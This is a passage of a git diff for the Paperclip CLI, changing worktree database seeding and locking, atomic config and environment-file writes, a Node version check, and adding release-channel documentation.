Pass --from-config for the source instance.", - ); + markWorktreeSeedPending({ + configPath, + sourceConfigPath: registeredSeedSource.configPath, + targetInstanceId: targetPaths.instanceId, + seedMode: "minimal", + diagnosticMessage: "No verified seed or compatible legacy database was found; provisioning is required.", + }); + manifest = readWorktreeSeedManifest(configPath); + if (!manifest) { + throw new Error("Failed to create a pending worktree seed manifest."); + } } + if ( + manifest.source.configPath !== registeredSeedSource.configPath + || manifest.source.instanceId !== registeredSeedSource.instanceId + ) { + markWorktreeSeedPending({ + configPath, + sourceConfigPath: registeredSeedSource.configPath, + targetInstanceId: manifest.targetInstanceId, + seedMode: manifest.seedMode, + diagnosticMessage: "Re-derived seed source diagnostics from the registered canonical source.", + }); + manifest = readWorktreeSeedManifest(configPath)!; + } + canonicalSource = resolveCanonicalWorktreeSeedSource({ + registeredBaseWorkspaceCwd, + explicitSourceConfigPath, + targetConfigPath: configPath, + expectedTargetInstanceId: targetPaths.instanceId, + manifestSource: manifest.source, + manifestTargetInstanceId: manifest.targetInstanceId, + }); + const sourceConfigPath = canonicalSource.configPath; const sourceConfig = readConfig(sourceConfigPath); if (!sourceConfig) { @@ -1591,19 +2411,19 @@ export async function ensureWorktreeSeeded( throw new Error(`Target config not found at ${configPath}.`); } - const targetRoot = path.dirname(path.dirname(configPath)); - const targetPaths = resolveWorktreeReseedTargetPaths({ configPath, rootPath: targetRoot }); const seedDatabase = dependencies.seedDatabase ?? seedWorktreeDatabase; - const details = await seedDatabase({ + const details = await runVerifiedWorktreeSeed({ + configPath, sourceConfigPath, sourceConfig, targetConfig, targetPaths, instanceId: targetPaths.instanceId, - seedMode: "minimal", + seedMode: manifest.seedMode, preserveLiveWork: opts.preserveLiveWork, + expectedCompanyId, + seedDatabase, }); - markWorktreeSeedComplete({ configPath }); return { seeded: true, reason: "seeded", details }; } finally { await releaseLock(); @@ -1658,25 +2478,53 @@ async function runWorktreeInit(opts: WorktreeInitOptions): Promise { rmSync(paths.instanceRoot, { recursive: true, force: true }); } - const claimedPorts = collectClaimedWorktreePorts(paths.homeDir, paths.instanceId, paths.cwd); - const preferredServerPort = opts.serverPort ?? ((sourceConfig?.server.port ?? 3100) + 1); - const serverPort = await findAvailablePort(preferredServerPort, claimedPorts.serverPorts); - const preferredDbPort = opts.dbPort ?? ((sourceConfig?.database.embeddedPostgresPort ?? 54329) + 1); - const databasePort = await findAvailablePort( - preferredDbPort, - new Set([...claimedPorts.databasePorts, serverPort]), - ); - const targetConfig = buildWorktreeConfig({ - sourceConfig, - paths, - serverPort, - databasePort, - }); + const { serverPort, databasePort, targetConfig } = await withWorktreePortRegistryLock( + paths.homeDir, + async () => { + const registeredConfigPaths = readWorktreePortRegistry(paths.homeDir); + const claimedPorts = collectClaimedWorktreePorts( + paths.homeDir, + paths.instanceId, + paths.cwd, + registeredConfigPaths, + ); + const preferredServerPort = opts.serverPort ?? ((sourceConfig?.server.port ?? 3100) + 1); + const selectedServerPort = await findAvailablePort(preferredServerPort, claimedPorts.serverPorts); + const preferredDbPort = opts.dbPort ?? ((sourceConfig?.database.embeddedPostgresPort ?? 54329) + 1); + const selectedDatabasePort = await findAvailablePort( + preferredDbPort, + new Set([...claimedPorts.databasePorts, selectedServerPort]), + ); + const selectedConfig = buildWorktreeConfig({ + sourceConfig, + paths, + serverPort: selectedServerPort, + databasePort: selectedDatabasePort, + }); - writeConfig(targetConfig, paths.configPath); + try { + writeConfig(selectedConfig, paths.configPath); + writeWorktreePortRegistry(paths.homeDir, [ + ...registeredConfigPaths, + paths.configPath, + ]); + } catch (error) { + rmSync(paths.configPath, { force: true }); + throw error; + } + + return { + serverPort: selectedServerPort, + databasePort: selectedDatabasePort, + targetConfig: selectedConfig, + }; + }, + ); markWorktreeSeedPending({ configPath: paths.configPath, sourceConfigPath, + targetInstanceId: instanceId, + seedMode, }); const sourceEnvEntries = readPaperclipEnvEntries(resolvePaperclipEnvFile(sourceConfigPath)); const existingAgentJwtSecret = @@ -1705,8 +2553,11 @@ async function runWorktreeInit(opts: WorktreeInitOptions): Promise { } const spinner = p.spinner(); spinner.start(`Seeding isolated worktree database from source instance (${seedMode})...`); + const markers = resolveWorktreeSeedMarkerPaths(paths.configPath); + const releaseSeedLock = await acquireWorktreeSeedLock(markers.lock); try { - const seeded = await seedWorktreeDatabase({ + const seeded = await runVerifiedWorktreeSeed({ + configPath: paths.configPath, sourceConfigPath, sourceConfig, targetConfig, @@ -1714,16 +2565,18 @@ async function runWorktreeInit(opts: WorktreeInitOptions): Promise { instanceId, seedMode, preserveLiveWork: opts.preserveLiveWork, + seedDatabase: seedWorktreeDatabase, }); seedSummary = seeded.backupSummary; seedExecutionQuarantineSummary = seeded.executionQuarantine; pausedScheduledRoutineCount = seeded.pausedScheduledRoutines; reboundWorkspaceSummary = seeded.reboundWorkspaces; - markWorktreeSeedComplete({ configPath: paths.configPath, seedMode }); spinner.stop(`Seeded isolated worktree database (${seedMode}).`); } catch (error) { spinner.stop(pc.red("Failed to seed worktree database.")); throw error; + } finally { + await releaseSeedLock(); } } @@ -1774,21 +2627,17 @@ export async function worktreeEnsureSeededCommand(opts: WorktreeEnsureSeededOpti printPaperclipCliBanner(); p.intro(pc.bgCyan(pc.black(" paperclipai worktree ensure-seeded "))); - const markers = resolveWorktreeSeedMarkerPaths(resolveConfigPath(opts.config)); - if (existsSync(markers.complete) || !existsSync(markers.pending)) { - const result = await ensureWorktreeSeeded(opts); - const reason = result.reason === "complete_marker" - ? "Seed-complete marker already present." - : "No seed-pending marker found; treating this legacy worktree as already seeded."; - p.outro(pc.green(reason)); - return; - } - const spinner = p.spinner(); - spinner.start("Seeding isolated worktree database from source instance (minimal)..."); + spinner.start("Checking isolated worktree database seed state..."); try { const result = await ensureWorktreeSeeded(opts); - spinner.stop("Seeded isolated worktree database (minimal)."); + if (result.seeded) { + spinner.stop("Seeded isolated worktree database (minimal)."); + } else if (result.reason === "legacy_database") { + spinner.stop("Validated and adopted an existing legacy worktree database."); + } else { + spinner.stop("Worktree database already has a verified seed manifest."); + } if (result.details) { p.log.message(pc.dim(`Seed snapshot: ${result.details.backupSummary}`)); p.log.message( @@ -2218,10 +3067,13 @@ async function closeDb(db: ClosableDb): Promise { await db.$client?.end?.({ timeout: 5 }).catch(() => undefined); } -function resolveCurrentEndpoint(): ResolvedWorktreeEndpoint { +export function resolveCurrentWorktreeEndpoint(): ResolvedWorktreeEndpoint { + const cwd = path.resolve(process.cwd()); + const rootPath = detectGitWorkspaceInfo(cwd)?.root ?? cwd; + const localConfigPath = path.join(rootPath, ".paperclip", "config.json"); return { - rootPath: path.resolve(process.cwd()), - configPath: resolveConfigPath(), + rootPath, + configPath: existsSync(localConfigPath) ? localConfigPath : resolveConfigPath(), label: "current", isCurrent: true, }; @@ -2233,7 +3085,7 @@ function resolveAttachmentLookupStorages(input: { }): ConfiguredStorage[] { const orderedConfigPaths = [ input.sourceEndpoint.configPath, - resolveCurrentEndpoint().configPath, + resolveCurrentWorktreeEndpoint().configPath, input.targetEndpoint.configPath, ...toMergeSourceChoices(process.cwd()) .filter((choice) => choice.hasPaperclipConfig) @@ -2804,7 +3656,7 @@ export async function worktreeListCommand(opts: WorktreeListOptions): Promise { const excluded = excludeWorktreePath ? path.resolve(excludeWorktreePath) : null; - const currentEndpoint = resolveCurrentEndpoint(); + const currentEndpoint = resolveCurrentWorktreeEndpoint(); const choices = toMergeSourceChoices(process.cwd()) .filter((choice) => choice.hasPaperclipConfig || choice.isCurrent) .filter((choice) => path.resolve(choice.worktree) !== excluded) @@ -3295,7 +4147,7 @@ export async function worktreeMergeHistoryCommand(sourceArg: string | undefined, const targetEndpoint = opts.to ? resolveWorktreeEndpointFromSelector(opts.to, { allowCurrent: true }) - : resolveCurrentEndpoint(); + : resolveCurrentWorktreeEndpoint(); const sourceEndpoint = opts.from ? resolveWorktreeEndpointFromSelector(opts.from, { allowCurrent: true }) : sourceArg @@ -3392,6 +4244,34 @@ export async function worktreeMergeHistoryCommand(sourceArg: string | undefined, } } +async function backupWorktreeReseedTarget(input: { + targetConfig: PaperclipConfig; + targetPaths: WorktreeLocalPaths; +}): Promise { + if (input.targetConfig.database.mode !== "embedded-postgres") { + throw new Error("Managed worktree repair requires an embedded PostgreSQL target."); + } + const targetHandle = await ensureEmbeddedPostgres( + input.targetConfig.database.embeddedPostgresDataDir, + input.targetConfig.database.embeddedPostgresPort, + ); + try { + const adminConnectionString = `postgres://paperclip:paperclip@127.0.0.1:${targetHandle.port}/postgres`; + await ensurePostgresDatabase(adminConnectionString, "paperclip"); + const result = await runDatabaseBackup({ + connectionString: `postgres://paperclip:paperclip@127.0.0.1:${targetHandle.port}/paperclip`, + backupDir: path.resolve(input.targetPaths.backupDir, "repair"), + retention: { dailyDays: 30, weeklyWeeks: 12, monthlyMonths: 12 }, + filenamePrefix: `${input.targetPaths.instanceId}-pre-repair`, + backupEngine: "auto", + includeMigrationJournal: true, + }); + return formatDatabaseBackupResult(result); + } finally { + if (targetHandle.startedByThisProcess) await targetHandle.stop(); + } +} + async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { const seedMode = opts.seedMode ?? "full"; if (!isWorktreeSeedMode(seedMode)) { @@ -3400,7 +4280,7 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { const targetEndpoint = opts.to ? resolveWorktreeEndpointFromSelector(opts.to, { allowCurrent: true }) - : resolveCurrentEndpoint(); + : resolveCurrentWorktreeEndpoint(); const source = resolveWorktreeReseedSource(opts); if (path.resolve(source.configPath) === path.resolve(targetEndpoint.configPath)) { @@ -3447,8 +4327,23 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { const spinner = p.spinner(); spinner.start(`Reseeding ${targetEndpoint.label} from ${source.label} (${seedMode})...`); + const markers = resolveWorktreeSeedMarkerPaths(targetEndpoint.configPath); + mkdirSync(path.dirname(markers.lock), { recursive: true }); + const releaseSeedLock = await acquireWorktreeSeedLock(markers.lock); try { - const seeded = await seedWorktreeDatabase({ + let targetBackupSummary: string | null = null; + if (opts.backupTarget) { + targetBackupSummary = await backupWorktreeReseedTarget({ targetConfig, targetPaths }); + p.log.message(pc.dim(`Recoverable pre-repair backup: ${targetBackupSummary}`)); + } + markWorktreeSeedPending({ + configPath: targetEndpoint.configPath, + sourceConfigPath: source.configPath, + targetInstanceId: targetPaths.instanceId, + seedMode, + }); + const seeded = await runVerifiedWorktreeSeed({ + configPath: targetEndpoint.configPath, sourceConfigPath: source.configPath, sourceConfig, targetConfig, @@ -3456,8 +4351,9 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { instanceId: targetPaths.instanceId, seedMode, preserveLiveWork: opts.preserveLiveWork, + expectedCompanyId: nonEmpty(process.env.PAPERCLIP_SEED_EXPECTED_COMPANY_ID) ?? undefined, + seedDatabase: seedWorktreeDatabase, }); - markWorktreeSeedComplete({ configPath: targetEndpoint.configPath, seedMode }); spinner.stop(`Reseeded ${targetEndpoint.label} (${seedMode}).`); p.log.message(pc.dim(`Source: ${source.configPath}`)); p.log.message(pc.dim(`Target: ${targetEndpoint.configPath}`)); @@ -3479,6 +4375,8 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise { } catch (error) { spinner.stop(pc.red("Failed to reseed worktree database.")); throw error; + } finally { + await releaseSeedLock(); } } @@ -3590,7 +4488,7 @@ export function registerWorktreeCommands(program: Command): void { .option("--server-port ", "Preferred server port", (value) => Number(value)) .option("--db-port ", "Preferred embedded Postgres port", (value) => Number(value)) .option("--seed-mode ", "Seed profile: minimal or full (default: minimal)", "minimal") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false) .option("--no-seed", "Skip database seeding from the source instance") .option("--force", "Replace existing repo-local config and isolated instance data", false) .action(worktreeMakeCommand); @@ -3607,7 +4505,7 @@ export function registerWorktreeCommands(program: Command): void { .option("--server-port ", "Preferred server port", (value) => Number(value)) .option("--db-port ", "Preferred embedded Postgres port", (value) => Number(value)) .option("--seed-mode ", "Seed profile: minimal or full (default: minimal)", "minimal") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false) .option("--no-seed", "Skip database seeding from the source instance") .option("--force", "Replace existing repo-local config and isolated instance data", false) .action(worktreeInitCommand); @@ -3626,7 +4524,7 @@ export function registerWorktreeCommands(program: Command): void { .option("--from-config ", "Source config.json to seed from (defaults to the seed-pending marker)") .option("--from-data-dir ", "Source PAPERCLIP_HOME used when deriving the source config") .option("--from-instance ", "Source instance id when deriving the source config") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services", false) .action(worktreeEnsureSeededCommand); program @@ -3657,9 +4555,10 @@ export function registerWorktreeCommands(program: Command): void { .option("--from-data-dir ", "Source PAPERCLIP_HOME used when deriving the source config") .option("--from-instance ", "Source instance id when deriving the source config") .option("--seed-mode ", "Seed profile: minimal or full (default: full)", "full") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false) .option("--yes", "Skip the destructive confirmation prompt", false) .option("--allow-live-target", "Override the guard that requires the target worktree DB to be stopped first", false) + .option("--backup-target", "Retain a recoverable full backup of the isolated target DB before reseeding", false) .action(worktreeReseedCommand); worktree @@ -3671,7 +4570,7 @@ export function registerWorktreeCommands(program: Command): void { .option("--from-data-dir ", "Source PAPERCLIP_HOME used when deriving the source config") .option("--from-instance ", "Source instance id when deriving the source config (default: default)") .option("--seed-mode ", "Seed profile: minimal or full (default: minimal)", "minimal") - .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false) + .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false) .option("--no-seed", "Repair metadata only and skip reseeding when bootstrapping a missing worktree config", false) .option("--allow-live-target", "Override the guard that requires the target worktree DB to be stopped first", false) .action(worktreeRepairCommand); diff --git a/cli/src/config/env.ts b/cli/src/config/env.ts index a7266ea241c..6787ee190a8 100644 --- a/cli/src/config/env.ts +++ b/cli/src/config/env.ts @@ -2,9 +2,11 @@ import fs from "node:fs"; import path from "node:path"; import { randomBytes } from "node:crypto"; import { config as loadDotenv, parse as parseEnvFileContents } from "dotenv"; +import { updateEnvFileContents, writeEnvFileAtomicallyIfChanged } from "@paperclipai/shared/env-file"; import { resolveConfigPath } from "./store.js"; const JWT_SECRET_ENV_KEY = "PAPERCLIP_AGENT_JWT_SECRET"; +const PAPERCLIP_OWNED_ENV_KEY_PATTERN = /^PAPERCLIP_[A-Z0-9_]+$/; function resolveEnvFilePath(configPath?: string) { return path.resolve(path.dirname(resolveConfigPath(configPath)), ".env"); } @@ -22,21 +24,20 @@ function parseEnvFile(contents: string) { } } -function formatEnvValue(value: string): string { - if (/^[A-Za-z0-9_./:@-]+$/.test(value)) { - return value; - } - return JSON.stringify(value); -} - -function renderEnvFile(entries: Record) { - const lines = [ +function emptyEnvFileContents() { + return [ "# Paperclip environment variables", "# Generated by Paperclip CLI commands", - ...Object.entries(entries).map(([key, value]) => `${key}=${formatEnvValue(value)}`), "", - ]; - return lines.join("\n"); + ].join("\n"); +} + +function paperclipOwnedEntries(entries: Record): Record { + return Object.fromEntries( + Object.entries(entries).filter( + ([key, value]) => PAPERCLIP_OWNED_ENV_KEY_PATTERN.test(key) && value.trim().length > 0, + ), + ); } export function resolvePaperclipEnvFile(configPath?: string): string { @@ -102,11 +103,11 @@ export function readPaperclipEnvEntries(filePath = resolveEnvFilePath()): Record } export function writePaperclipEnvEntries(entries: Record, filePath = resolveEnvFilePath()): void { - const dir = path.dirname(filePath); - fs.mkdirSync(dir, { recursive: true }); - fs.writeFileSync(filePath, renderEnvFile(entries), { - mode: 0o600, + const previousContents = fs.existsSync(filePath) ? fs.readFileSync(filePath, "utf8") : null; + const nextContents = updateEnvFileContents(previousContents ?? emptyEnvFileContents(), paperclipOwnedEntries(entries), { + valueEncoding: "minimal", }); + writeEnvFileAtomicallyIfChanged(filePath, previousContents, nextContents); } export function mergePaperclipEnvEntries( @@ -114,12 +115,11 @@ export function mergePaperclipEnvEntries( filePath = resolveEnvFilePath(), ): Record { const current = readPaperclipEnvEntries(filePath); + const managedEntries = paperclipOwnedEntries(entries); const next = { ...current, - ...Object.fromEntries( - Object.entries(entries).filter(([, value]) => typeof value === "string" && value.trim().length > 0), - ), + ...managedEntries, }; - writePaperclipEnvEntries(next, filePath); + writePaperclipEnvEntries(managedEntries, filePath); return next; } diff --git a/cli/src/config/schema.ts b/cli/src/config/schema.ts index 65ddeab7334..799d8ba0d75 100644 --- a/cli/src/config/schema.ts +++ b/cli/src/config/schema.ts @@ -8,11 +8,15 @@ export { serverConfigSchema, authConfigSchema, telemetryConfigSchema, + updatesConfigSchema, storageConfigSchema, storageLocalDiskConfigSchema, storageS3ConfigSchema, secretsConfigSchema, secretsLocalEncryptedConfigSchema, + mergePaperclipConfig, + findPaperclipConfigKeyWarnings, + type ConfigKeyWarning, type PaperclipConfig, type LlmConfig, type DatabaseBackupConfig, @@ -27,4 +31,5 @@ export { type SecretsConfig, type SecretsLocalEncryptedConfig, type ConfigMeta, + type UpdatesConfig, } from "../../../packages/shared/src/config-schema.js"; diff --git a/cli/src/config/store.ts b/cli/src/config/store.ts index 8dddc777064..b1ab0229d17 100644 --- a/cli/src/config/store.ts +++ b/cli/src/config/store.ts @@ -1,6 +1,11 @@ import fs from "node:fs"; import path from "node:path"; -import { paperclipConfigSchema, type PaperclipConfig } from "./schema.js"; +import { isDeepStrictEqual } from "node:util"; +import { + mergePaperclipConfig, + paperclipConfigSchema, + type PaperclipConfig, +} from "./schema.js"; import { resolveDefaultConfigPath, resolvePaperclipInstanceId, @@ -95,24 +100,132 @@ export function readConfig(configPath?: string): PaperclipConfig | null { return parsed.data; } +function effectiveConfig(config: PaperclipConfig): Record { + const meta = { ...config.$meta } as Record; + delete meta.updatedAt; + delete meta.source; + return { + ...config, + $meta: meta, + }; +} + +function syncDirectory(directoryPath: string): void { + let directoryDescriptor: number | null = null; + try { + directoryDescriptor = fs.openSync(directoryPath, "r"); + fs.fsyncSync(directoryDescriptor); + } catch (error) { + const code = error instanceof Error && "code" in error ? error.code : null; + if (process.platform !== "win32" || !["EACCES", "EINVAL", "EISDIR", "ENOTSUP", "EPERM"].includes(String(code))) { + throw error; + } + } finally { + if (directoryDescriptor !== null) fs.closeSync(directoryDescriptor); + } +} + +function durableCopyFile(sourcePath: string, destinationPath: string, flags = 0): void { + fs.copyFileSync(sourcePath, destinationPath, flags); + fs.chmodSync(destinationPath, 0o600); + + const backupDescriptor = fs.openSync(destinationPath, "r"); + try { + fs.fsyncSync(backupDescriptor); + } finally { + fs.closeSync(backupDescriptor); + } + syncDirectory(path.dirname(destinationPath)); +} + +function atomicWriteFile(filePath: string, contents: string): void { + let attempt = 0; + + while (true) { + const temporaryPath = `${filePath}.tmp-${process.pid}-${attempt}`; + attempt += 1; + let fileDescriptor: number | null = null; + try { + fileDescriptor = fs.openSync(temporaryPath, "wx", 0o600); + fs.writeFileSync(fileDescriptor, contents, "utf8"); + fs.fsyncSync(fileDescriptor); + fs.closeSync(fileDescriptor); + fileDescriptor = null; + fs.renameSync(temporaryPath, filePath); + syncDirectory(path.dirname(filePath)); + return; + } catch (error) { + if (fileDescriptor !== null) fs.closeSync(fileDescriptor); + fs.rmSync(temporaryPath, { force: true }); + const code = error instanceof Error && "code" in error ? error.code : null; + if (code === "EEXIST") continue; + throw error; + } + } +} + +export function backupInvalidConfig(configPath?: string): string { + const filePath = resolveConfigPath(configPath); + if (!fs.existsSync(filePath)) { + throw new Error(`Cannot back up missing config at ${filePath}`); + } + + for (let suffix = 1; ; suffix += 1) { + const backupPath = `${filePath}.invalid-${suffix}`; + try { + durableCopyFile(filePath, backupPath, fs.constants.COPYFILE_EXCL); + return backupPath; + } catch (error) { + const code = error instanceof Error && "code" in error ? error.code : null; + if (code === "EEXIST") continue; + throw error; + } + } +} + export function writeConfig( config: PaperclipConfig, configPath?: string, -): void { + options: { invalidBackupPath?: string } = {}, +): boolean { const filePath = resolveConfigPath(configPath); const dir = path.dirname(filePath); fs.mkdirSync(dir, { recursive: true }); + let nextConfig = paperclipConfigSchema.parse(config); + if (fs.existsSync(filePath)) { + try { + const source = paperclipConfigSchema.parse(migrateLegacyConfig(parseJson(filePath))); + nextConfig = paperclipConfigSchema.parse(mergePaperclipConfig(source, nextConfig)); + if (isDeepStrictEqual(effectiveConfig(source), effectiveConfig(nextConfig))) { + return false; + } + } catch (error) { + const invalidBackupPath = options.invalidBackupPath; + if (!invalidBackupPath) { + throw new Error( + `Refusing to overwrite invalid config at ${filePath}: ${error instanceof Error ? error.message : String(error)}`, + ); + } + if ( + !fs.existsSync(invalidBackupPath) || + !fs.readFileSync(filePath).equals(fs.readFileSync(invalidBackupPath)) + ) { + throw new Error( + `Refusing to overwrite ${filePath} because it changed after the invalid backup was created`, + ); + } + } + } + // Backup existing config before overwriting if (fs.existsSync(filePath)) { const backupPath = filePath + ".backup"; - fs.copyFileSync(filePath, backupPath); - fs.chmodSync(backupPath, 0o600); + durableCopyFile(filePath, backupPath); } - fs.writeFileSync(filePath, JSON.stringify(config, null, 2) + "\n", { - mode: 0o600, - }); + atomicWriteFile(filePath, JSON.stringify(nextConfig, null, 2) + "\n"); + return true; } export function configExists(configPath?: string): boolean { diff --git a/cli/src/index.ts b/cli/src/index.ts index fd8d1ee4f77..db9c8413f30 100644 --- a/cli/src/index.ts +++ b/cli/src/index.ts @@ -1,7 +1,9 @@ import { Command } from "commander"; +import { warnIfUnsupportedNodeVersion } from "@paperclipai/shared/node-version"; import { onboard } from "./commands/onboard.js"; import { doctor } from "./commands/doctor.js"; import { envCommand } from "./commands/env.js"; +import { channelsCommand } from "./commands/channels.js"; import { configure } from "./commands/configure.js"; import { addAllowedHostname } from "./commands/allowed-hostname.js"; import { heartbeatRun } from "./commands/heartbeat-run.js"; @@ -130,6 +132,14 @@ program .option("-d, --data-dir ", DATA_DIR_OPTION_HELP) .action(envCommand); +program + .command("channels") + .description("Show the release channels and which one this install follows") + .option("--json", "Machine-readable output") + .action(async (opts) => { + await channelsCommand(opts); + }); + program .command("configure") .description("Update configuration sections") @@ -241,6 +251,8 @@ auth registerClientAuthCommands(auth); async function main(): Promise { + warnIfUnsupportedNodeVersion(process.versions.node, (message) => console.warn(message)); + let failed = false; try { await program.parseAsync(); diff --git a/cli/src/node-version.test.ts b/cli/src/node-version.test.ts new file mode 100644 index 00000000000..ef1cde7359e --- /dev/null +++ b/cli/src/node-version.test.ts @@ -0,0 +1,44 @@ +import { describe, expect, it } from "vitest"; +import { + formatNodeVersionWarning, + isSupportedNodeVersion, + MINIMUM_NODE_VERSION, + NODE_VERSION_INSTALL_GUIDE_URL, + warnIfUnsupportedNodeVersion, +} from "@paperclipai/shared/node-version"; + +describe("isSupportedNodeVersion", () => { + it("accepts the Node 24 LTS floor and newer releases", () => { + expect(MINIMUM_NODE_VERSION).toBe("24.11.0"); + expect(isSupportedNodeVersion("v24.11.0")).toBe(true); + expect(isSupportedNodeVersion("24.19.0")).toBe(true); + expect(isSupportedNodeVersion("v26.0.0")).toBe(true); + }); + + it("rejects pre-LTS Node 24 and older major releases", () => { + expect(isSupportedNodeVersion("v24.10.0")).toBe(false); + expect(isSupportedNodeVersion("v22.23.0")).toBe(false); + expect(isSupportedNodeVersion("unknown")).toBe(false); + }); + + it("provides non-blocking remediation text for unsupported runtimes", () => { + expect(formatNodeVersionWarning("v24.11.0")).toBeNull(); + const warning = formatNodeVersionWarning("v22.23.0"); + expect(warning).toContain("Node.js v22.23.0 is unsupported"); + expect(warning).toContain("requires Node.js 24.11.0 or newer"); + expect(warning).toContain(NODE_VERSION_INSTALL_GUIDE_URL); + expect(warning).toContain("piped install.sh form cannot upgrade"); + expect(warning).toContain("Restart Paperclip after upgrading"); + }); + + it("emits at most one warning when CLI and server boot in the same process", () => { + const warnings: string[] = []; + expect( + warnIfUnsupportedNodeVersion("22.23.0", (message) => warnings.push(message)), + ).toBe(true); + expect( + warnIfUnsupportedNodeVersion("22.23.0", (message) => warnings.push(message)), + ).toBe(false); + expect(warnings).toHaveLength(1); + }); +}); diff --git a/cli/src/prompts/server.ts b/cli/src/prompts/server.ts index 404d4ea5752..bff9e18072e 100644 --- a/cli/src/prompts/server.ts +++ b/cli/src/prompts/server.ts @@ -84,7 +84,7 @@ export async function promptServer(opts?: { : "dotta-macbook-pro, host.docker.internal", validate: (val) => { try { - parseHostnameCsv(val); + parseHostnameCsv(val ?? ""); return; } catch (err) { return err instanceof Error ? err.message : "Invalid hostname list"; @@ -156,7 +156,7 @@ export async function promptServer(opts?: { defaultValue: defaultHost, placeholder: defaultHost, validate: (val) => { - if (!val.trim()) return "Host is required"; + if (!val || !val.trim()) return "Host is required"; if (deploymentMode === "local_trusted" && !isLoopbackHost(val.trim())) { return "Local trusted mode requires a loopback host such as 127.0.0.1"; } @@ -173,7 +173,7 @@ export async function promptServer(opts?: { placeholder: "dotta-macbook-pro, your-host.tailnet.ts.net", validate: (val) => { try { - parseHostnameCsv(val); + parseHostnameCsv(val ?? ""); return; } catch (err) { return err instanceof Error ? err.message : "Invalid hostname list"; @@ -192,7 +192,7 @@ export async function promptServer(opts?: { defaultValue: currentAuth?.publicBaseUrl ?? "", placeholder: "https://paperclip.example.com", validate: (val) => { - const candidate = val.trim(); + const candidate = val?.trim() ?? ""; if (!candidate) return "Public base URL is required for public exposure"; try { const url = new URL(candidate); diff --git a/doc/CHANNELS.md b/doc/CHANNELS.md new file mode 100644 index 00000000000..f809a386fc4 --- /dev/null +++ b/doc/CHANNELS.md @@ -0,0 +1,99 @@ +# Release Channels + +Paperclip ships on four channels. Pick the one that matches your appetite for +freshness versus stability — switching is just a matter of which version you +install. + +| Channel | What it is | Updates | npm | Docker | +| --- | --- | --- | --- | --- | +| `stable` | The recommended release | every week or two | `paperclipai@latest` | `ghcr.io/paperclipai/paperclip:latest` | +| `beta` | Release candidates soaking before stable | when promoted | `paperclipai@beta` | `ghcr.io/paperclipai/paperclip:beta` | +| `nightly` | Yesterday's merges, smoke-tested as a unit | once a night | `paperclipai@nightly` | `ghcr.io/paperclipai/paperclip:nightly` | +| `canary` | Every merge to `master`, as it happens | many times a day | `paperclipai@canary` | `ghcr.io/paperclipai/paperclip:canary` | + +## Choosing a channel + +**stable** is the right choice for almost everyone. It only moves when a +release has been explicitly vetted and promoted by a maintainer, and every +stable must first soak as a beta for at least 3 days. + +**beta** is for people who want the next stable early. A beta is a nightly +that a maintainer hand-picked and explicitly promoted behind an approval +gate, and it is re-smoked after publishing. Betas are the release candidates: +what you run on beta today is what stable becomes a few days later. + +**nightly** is for people who want new features quickly but not the churn of +tracking every merge. Once a night, the newest master build that published +green is run through the full release smoke suite (real Docker container, real +onboarding flow, browser-driven). Only if that passes does it ship as the +nightly. If smoke fails, there is no nightly that night — the channel never +ships a build that failed its checks. + +**canary** is the bleeding edge: it publishes on every merge to `master`. +It is primarily the lane that continuously exercises our release automation, +but it's available to anyone who wants the newest bits and accepts the risk. + +## Installing from a channel + +npm / npx: + +```bash +npx paperclipai@latest onboard # stable +npx paperclipai@beta onboard +npx paperclipai@nightly onboard +npx paperclipai@canary onboard +``` + +Docker: + +```bash +docker pull ghcr.io/paperclipai/paperclip:latest # stable +docker pull ghcr.io/paperclipai/paperclip:beta +docker pull ghcr.io/paperclipai/paperclip:nightly +docker pull ghcr.io/paperclipai/paperclip:canary +``` + +Every image is also published as `:sha-` for exact pinning, and +stable images additionally get `:YYYY.MDD.P` version tags. + +## Seeing where you are + +```bash +npx paperclipai channels +``` + +prints every channel with the version it currently resolves to, the install +command for each, and which channel your install follows (with `--json` for +scripting). + +## Switching channels + +Channel choice is per-install: install from a different tag and you're on that +channel. Moving forward (stable → nightly) is always safe. Moving backward +(nightly → stable) can mean running an older schema than your data was created +with — treat a downgrade like a restore and keep a backup of your data +directory before switching down. + +## Reading version strings + +The version tells you which channel a build came from: + +- `2026.807.0` — stable, published Aug 7 2026 +- `2026.807.0-beta.0` — beta promoted on Aug 7 2026 +- `2026.807.0-nightly.0` — nightly cut on Aug 7 2026 +- `2026.807.0-canary.4` — the fifth canary for the Aug 7 line + +Each promotion republishes the exact source commit of the previous lane's +build: a nightly shares its source SHA with a canary, and a beta with a +nightly. The version dates the promotion, and the shared SHA is visible in +the release job summaries and as git tags on the commit. + +One quirk to be aware of: npm's semver ordering compares prerelease names +alphabetically, so `-beta.N` sorts below `-canary.N`, which sorts below +`-nightly.N` for the same base version. This never matters when installing by +dist-tag (the recommended way), only if you write version ranges by hand. + +## For maintainers + +The publishing mechanics, promotion flow, and release checklist live in +[`RELEASING.md`](RELEASING.md). diff --git a/doc/CLI.md b/doc/CLI.md index 5b36f799589..f01291b2994 100644 --- a/doc/CLI.md +++ b/doc/CLI.md @@ -6,6 +6,115 @@ Paperclip CLI now supports both: - instance setup/diagnostics (`onboard`, `doctor`, `configure`, `env`, `allowed-hostname`, `env-lab`) - control-plane client operations (issues, approvals, agents, activity, dashboard) +## Security: safe invocation for content-bearing arguments + +Use `npx paperclipai` for any command whose argument can hold untrusted or +semi-trusted content. Untrusted content includes issue text, comment bodies, +Markdown, pasted snippets, and model output. `npx` runs the CLI binary directly. +It passes the argument as an inert `argv` value. It does not run a shell over the +value. `npx paperclipai` works on any machine with Node: it runs a local install +of the `paperclipai` package, and 